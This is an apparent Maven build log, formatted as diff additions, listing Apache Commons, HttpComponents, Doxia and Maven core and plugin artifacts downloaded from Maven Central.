+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.14.0/commons-lang3-3.14.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/24/commons-parent-24.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/25/commons-parent-25.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/34/commons-parent-34.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/39/commons-parent-39.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/42/commons-parent-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/47/commons-parent-47.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/52/commons-parent-52.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/64/commons-parent-64.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/65/commons-parent-65.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/66/commons-parent-66.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/69/commons-parent-69.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/9/commons-parent-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-text/1.12.0/commons-text-1.12.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-text/1.12.0/commons-text-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpclient/4.5.13/httpclient-4.5.13.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpclient/4.5.13/httpclient-4.5.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-client/4.5.13/httpcomponents-client-4.5.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-core/4.4.13/httpcomponents-core-4.4.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-core/4.4.14/httpcomponents-core-4.4.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-parent/11/httpcomponents-parent-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.4.13/httpcore-4.4.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.4.14/httpcore-4.4.14.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.4.14/httpcore-4.4.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.8/apache-maven-3.8.8-bin.zip
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.8/apache-maven-3.8.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-core/1.11.1/doxia-core-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-core/1.11.1/doxia-core-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-decoration-model/1.11.1/doxia-decoration-model-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-decoration-model/1.11.1/doxia-decoration-model-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-integration-tools/1.11.1/doxia-integration-tools-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-integration-tools/1.11.1/doxia-integration-tools-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-logging-api/1.11.1/doxia-logging-api-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-logging-api/1.12.0/doxia-logging-api-1.12.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-logging-api/1.12.0/doxia-logging-api-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml/1.11.1/doxia-module-xhtml-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml/1.11.1/doxia-module-xhtml-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml5/1.11.1/doxia-module-xhtml5-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml5/1.11.1/doxia-module-xhtml5-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-modules/1.11.1/doxia-modules-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.0/doxia-sink-api-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.11.1/doxia-sink-api-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.12.0/doxia-sink-api-1.12.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.12.0/doxia-sink-api-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-site-renderer/1.11.1/doxia-site-renderer-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-site-renderer/1.11.1/doxia-site-renderer-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sitetools/1.11.1/doxia-sitetools-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-skin-model/1.11.1/doxia-skin-model-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-skin-model/1.11.1/doxia-skin-model-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.0-alpha-7/doxia-1.0-alpha-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.0/doxia-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.11.1/doxia-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.12.0/doxia-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-api/3.5.0/enforcer-api-3.5.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-api/3.5.0/enforcer-api-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-rules/3.5.0/enforcer-rules-3.5.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-rules/3.5.0/enforcer-rules-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer/3.5.0/enforcer-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-archiver/3.1.1/maven-archiver-3.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-archiver/3.1.1/maven-archiver-3.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/3.0/maven-core-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/3.0/maven-core-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/3.0/maven-model-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/3.0/maven-model-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/10/maven-parent-10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/11/maven-parent-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/15/maven-parent-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/16/maven-parent-16.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/22/maven-parent-22.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/23/maven-parent-23.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/25/maven-parent-25.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/30/maven-parent-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/31/maven-parent-31.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/32/maven-parent-32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/33/maven-parent-33.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/34/maven-parent-34.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/35/maven-parent-35.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/37/maven-parent-37.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/39/maven-parent-39.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/42/maven-parent-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/5/maven-parent-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.0/maven-plugin-api-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/3.0/maven-settings-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/3.0/maven-settings-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/1.0/maven-toolchain-1.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/1.0/maven-toolchain-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/2.0.6/maven-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/2.0/maven-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/2.2.1/maven-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/3.0/maven-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/3.8.8/maven-3.8.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugin-tools/maven-plugin-annotations/3.5.2/maven-plugin-annotations-3.5.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugin-tools/maven-plugin-annotations/3.5.2/maven-plugin-annotations-3.5.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugin-tools/maven-plugin-tools/3.5.2/maven-plugin-tools-3.5.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-clean-plugin/3.1.0/maven-clean-plugin-3.1.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-clean-plugin/3.1.0/maven-clean-plugin-3.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-compiler-plugin/3.8.0/maven-compiler-plugin-3.8.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-compiler-plugin/3.8.0/maven-compiler-plugin-3.8.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-dependency-plugin/3.7.0/maven-dependency-plugin-3.7.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-dependency-plugin/3.7.0/maven-dependency-plugin-3.7.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-enforcer-plugin/3.5.0/maven-enforcer-plugin-3.5.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-enforcer-plugin/3.5.0/maven-enforcer-plugin-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-enforcer-plugin/maven-metadata.xml
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-jar-plugin/3.0.2/maven-jar-plugin-3.0.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-jar-plugin/3.0.2/maven-jar-plugin-3.0.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/30/maven-plugins-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/31/maven-plugins-31.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/32/maven-plugins-32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/42/maven-plugins-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-resources-plugin/3.0.2/maven-resources-plugin-3.0.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-resources-plugin/3.0.2/maven-resources-plugin-3.0.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-surefire-plugin/2.22.1/maven-surefire-plugin-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-surefire-plugin/2.22.1/maven-surefire-plugin-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.1.1/maven-reporting-api-3.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.1.1/maven-reporting-api-3.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-impl/3.2.0/maven-reporting-impl-3.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-impl/3.2.0/maven-reporting-impl-3.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting/2.0.6/maven-reporting-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-api/1.4.1/maven-resolver-api-1.4.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-api/1.4.1/maven-resolver-api-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-util/1.4.1/maven-resolver-util-1.4.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-util/1.4.1/maven-resolver-util-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver/1.4.1/maven-resolver-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-artifact-transfer/0.13.1/maven-artifact-transfer-0.13.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-artifact-transfer/0.13.1/maven-artifact-transfer-0.13.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-common-artifact-filters/3.1.0/maven-common-artifact-filters-3.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-common-artifact-filters/3.3.2/maven-common-artifact-filters-3.3.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-common-artifact-filters/3.3.2/maven-common-artifact-filters-3.3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-analyzer/1.14.1/maven-dependency-analyzer-1.14.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-analyzer/1.14.1/maven-dependency-analyzer-1.14.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-tree/3.3.0/maven-dependency-tree-3.3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-tree/3.3.0/maven-dependency-tree-3.3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-filtering/3.1.1/maven-filtering-3.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-filtering/3.1.1/maven-filtering-3.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/15/maven-shared-components-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/18/maven-shared-components-18.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/19/maven-shared-components-19.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/21/maven-shared-components-21.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/30/maven-shared-components-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/33/maven-shared-components-33.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/34/maven-shared-components-34.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/37/maven-shared-components-37.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/39/maven-shared-components-39.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/42/maven-shared-components-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/0.1/maven-shared-utils-0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.0/maven-shared-utils-3.0.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.0/maven-shared-utils-3.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.1/maven-shared-utils-3.0.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.1/maven-shared-utils-3.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.1.0/maven-shared-utils-3.1.0.pom
